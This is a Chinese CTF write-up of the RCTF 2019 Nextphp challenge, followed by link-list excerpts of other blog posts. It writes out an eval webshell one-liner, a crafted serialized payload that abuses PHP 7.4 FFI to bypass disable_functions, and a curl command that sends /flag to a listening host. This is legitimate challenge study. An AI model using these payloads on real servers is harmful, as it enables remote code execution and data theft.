前置知识

一些关于php7.4版本需知:

1.FFI扩展:ffi.cdef

其中还有这样一段话

如果ffi.cdef没有第二个参数,会在全局查找,第一个参数所声明的符号。意思就是其在不传入第二个参数时,可以直接调用php代码。所以我们在声明后,即可加入php代码

2.Serializable接口

在待会的代码审计中你会接触到Serializable接口。

如果一个类同时实现了Serializable和__Serialize()/__Unserialize(),则序列化将倾向于使用新机制,而非序列化则可以使用其中一种机制,具体取决于使用的是C(Serializable)还是O(Uu unserialize)格式。因此,以C格式编码的旧的序列化字符串仍然可以解码,而新的字符串将以O格式生成。

!!!!上述非常重要,请深刻理解!!!!

这也就是之后序列化后首字母是C而不是O。同时会先执行Serializable接口中的方法。同时exp中需要把__Unserialize()删除

PHP Serializable是自定义序列化的接口。实现此接口的类将不再支持__sleep()和__wakeup(),当类的实例被序列化时将自动调用serialize方法,并且不会调用 __destruct()或有其他影响。当类的实例被反序列化时,将调用unserialize()方法,并且不执行__construct()。

解题思路

打开发现,???,这么简单嘛,直接一句话写shell

file_put_contents('1.php','<?php eval($_POST["pass"]);?>');

蚁剑连接,???,就这?

好吧,只有当前目录的权限,看preload.php,看着是反序列化了

我懒,不想看序列化,不过感觉是都被禁了,没啥用

bypass_diasble_function

1.LD_PRELOAD

mail,putenv,error_log全被禁了,打扰了

2.**Apache Mod CGI **

没开,打扰了

3.FFI

(关于ffi在我此前的博文中有介绍,这里就不再详细说了)

核心思想:

实现用PHP代码调用C代码的方式,先声明C中的命令执行函数,然后再通过FFI变量调用该C函数即可Bypass disable_functions

即先声明后调用

正好版本是php7.4,也就只有这个了

我一开始发现可以直接写文件,为啥不直接写呢。直接把preload.php中的内容给删除了,直接写

网页的内容是 karsa("system('cat /flag')");

好像并没有成功执行,我本地最高只有7.2的php版本,不能本地测试了。查一波手册

默认情况下,FFI API只能在CLI脚本和预加载的PHP文件中使用。

又看到mochazz师傅说的

在本地环境 ffi.enable=preload 模式下,web端也是无法执行 FFI 。将 ffi.enable 设置成 true 后,发现 web 端就可以利用 FFI 了。

看来是无法在web端利用了

代码审计

<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
]; private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
} public function __serialize(): array {
return $this->data;
} public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
} public function serialize (): string {
return serialize($this->data);
} public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
} public function __get ($key) {
return $this->data[$key];
} public function __set ($key, $value) {
throw new \Exception('No implemented');
} public function __construct () {
throw new \Exception('No implemented');
}
}

本程序中并没有用户传参,还是需要从index.php中传参进去,反序列化。所以去掉多余的函数,编写exp

本来想只留三个属性的,发现无法序列化,缺少方法,serialize和unserialize补上

然后就是前置知识说到的,需要删掉__serialize和__unserialize,因为php7.4新特性它会优先触发这两个函数,而看这两个函数可知其实现的方法并不是正确的

编写exp

<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);' //声明
]; public function serialize (): string {
return serialize($this->data);
} public function unserialize($payload) {
$this->data = unserialize($payload);
}
} $a = new A();
$b = serialize($a);
echo $b;

本地编写exp,输出结果

序列化结果:C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}

上述代码实现声明

FFI::cdef("int system(const char *command);")

所以现在只需调用即可,通过设置__serialize()['ret']的值获取flag

__serialize()['ret']->system('curl -d @/flag linux靶机的ip')

完整paylaod:

?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()['ret']->system('curl -d @/flag linux靶机ip:8888');

传参后完整过程:

1.unserialize

把payload传给data参数,即覆盖原参数

protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char *command);'
];

2.run

ret=FFI::cdef('int system(const char *command);')

3.__serialize()

指定的ret内容即是最终的执行命令,通过最后的return调用,返回flag。这里无回显,但是打过去没报错,应该是没问题了。这里需要监听

buu题目只能访问内网!!!!!,这里被坑到死,一开始忘了,然后问了wh1sper师傅,内网也不是很懂,把这一块稍微搞明白了。

xshell连接linux靶机,查询linux靶机ip地址后,放在上面的payload中,监听

总结思路

核心思路:

  • 连接后门,获取preload.php内容
  • 代码审计,通过反序列化,逃逸禁用函数,通过php7.4新特性代码执行
  • 监听内网,获取flag

php新特性很重要,没有就完成不了题目

知识点

  • 反序列化
  • 代码审计
  • 代码执行
  • 内网监听

刷题[RCTF 2019]Nextphp的更多相关文章

  1. 刷题[GWCTF 2019]mypassword

    解题思路 打开网站,登陆框.注册一个用户后再登陆 看样子是注入了,在feedback.php中发现注释 <!-- if(is_array($feedback)){ echo "< ...

  2. 刷题[GWCTF 2019]你的名字

    解题思路 打开发现需要输入名字,猜测会有sql注入漏洞,测试一下发现单引号被过滤了,再fuzs下看看过滤了哪些 长度为1518和1519的都有过滤,测试一下,感觉不是sql注入了.那还有什么呢,考虑了 ...

  3. 刷题[De1CTF 2019]SSRF Me

    前置知识 本题框架是flask框架,正好python面向对象和flask框架没怎么学,借着这个好好学一下 这里我直接听mooc上北京大学陈斌老师的内容,因为讲的比较清楚,直接把他的ppt拿过来,看看就 ...

  4. 刷题[SUCTF 2019]CheckIn

    解题思路 打开网页发现只是简单做了一个上传界面,朴实无华 上传一个php文件,发现非法后缀. 上传一个.htaccess文件,发现,爆出很重要的信息 exif_imagetype函数通过检测文件头来检 ...

  5. 刷题[RoarCTF 2019]Easy Java

    前置知识 WEB-INF/web.xml泄露 java web工程目录结构 Servlet访问URL映射配置 由于客户端是通过URL地址访问Web服务器中的资源,所以Servlet程序若想被外界访问, ...

  6. 刷题记录:[De1CTF 2019]Giftbox && Comment

    目录 刷题记录:[De1CTF 2019]Giftbox && Comment 一.知识点 1.sql注入 && totp 2.RCE 3.源码泄露 4.敏感文件读取 ...

  7. 刷题记录:[强网杯 2019]Upload

    目录 刷题记录:[强网杯 2019]Upload 一.知识点 1.源码泄露 2.php反序列化 刷题记录:[强网杯 2019]Upload 题目复现链接:https://buuoj.cn/challe ...

  8. 刷题记录:[DDCTF 2019]homebrew event loop

    目录 刷题记录:[DDCTF 2019]homebrew event loop 知识点 1.逻辑漏洞 2.flask session解密 总结 刷题记录:[DDCTF 2019]homebrew ev ...

  9. 刷题记录:[CISCN 2019 初赛]Love Math

    目录 刷题记录:[CISCN 2019 初赛]Love Math 思路一 思路二 总结 刷题记录:[CISCN 2019 初赛]Love Math 题目复现链接:https://buuoj.cn/ch ...

随机推荐

  1. Rethinking the performance comparison between SNNS and ANNS

    郑重声明:原文参见标题,如有侵权,请联系作者,将会撤销发布! Abstract ANN是通向AI的一种流行方法,它已经通过成熟的模型,各种基准,开源数据集和强大的计算平台获得了非凡的成功.SNN是一类 ...

  2. python3 raw 数据转换为jpg

    python3 raw 数据转换为jpg 我们大家都知道,sensor 直接出来的裸数据为raw 数据,没有经过编解码,压缩. 我们需要将raw数据转换为其他格式比如jpg,png,bmp 人眼才能看 ...

  3. Java线上问题排查神器Arthas快速上手与原理浅谈

    前言 当你兴冲冲地开始运行自己的Java项目时,你是否遇到过如下问题: 程序在稳定运行了,可是实现的功能点了没反应. 为了修复Bug而上线的新版本,上线后发现Bug依然在,却想不通哪里有问题? 想到可 ...

  4. jmeter http并发测试时报错

    错误信息如下:jmeter Response code: Non HTTP response code: java.net.URISyntaxException 网上收了一大堆,都没法解决 我的用到了 ...

  5. 力扣Leetcode 1248. 统计「优美子数组」

    统计「优美子数组」 给你一个整数数组 nums 和一个整数 k. 如果某个 连续 子数组中恰好有 k 个奇数数字,我们就认为这个子数组是「优美子数组」. 请返回这个数组中「优美子数组」的数目. 示例 ...

  6. Arbitrary-Oriented Object Detection with Circular Smooth Label(ECCV2020,旋转目标检测)

    论文链接:https://arxiv.org/abs/2003.05597 code:https://github.com/Thinklab-SJTU/CSL_RetinaNet_Tensorflow ...

  7. web前端常见安全问题

    1,SQL注入 2,XSS 3,CSRF 4.文件上传漏洞 1,SQL注入:这个比较常见,可能大家也听说过,就是URL里面如果有对数据库进行操作的参数时,要做一下特殊的处理,否则被别有用心的人利用的话 ...

  8. 编程体系结构(02):Java异常体系

    本文源码:GitHub·点这里 || GitEE·点这里 一.异常简介 优秀的程序代码,都在追求高效,安全,和低错误率,但是程序中的异常是无法避免的,降低异常出现的频率是关键,异常出现如何处理是另一个 ...

  9. Resis常用命令及数据类型

    1.下载Windows环境redis安装: 2.下载jar包: commons-pool2-2.4.2.jar jedis-2.9.0.jar 3.项目结构: 4.代码说明: package com. ...

  10. 小白也能弄懂的卷积神经网络(Convolutional Neural Networks )

    本系列主要是讲解卷积神经网络 - Convolutional Neural Networks 的系列知识,本系列主要帮助大家入门,我相信这是所有入门深度学习的初学者都必须学习的知识,这里会用更加直接和 ...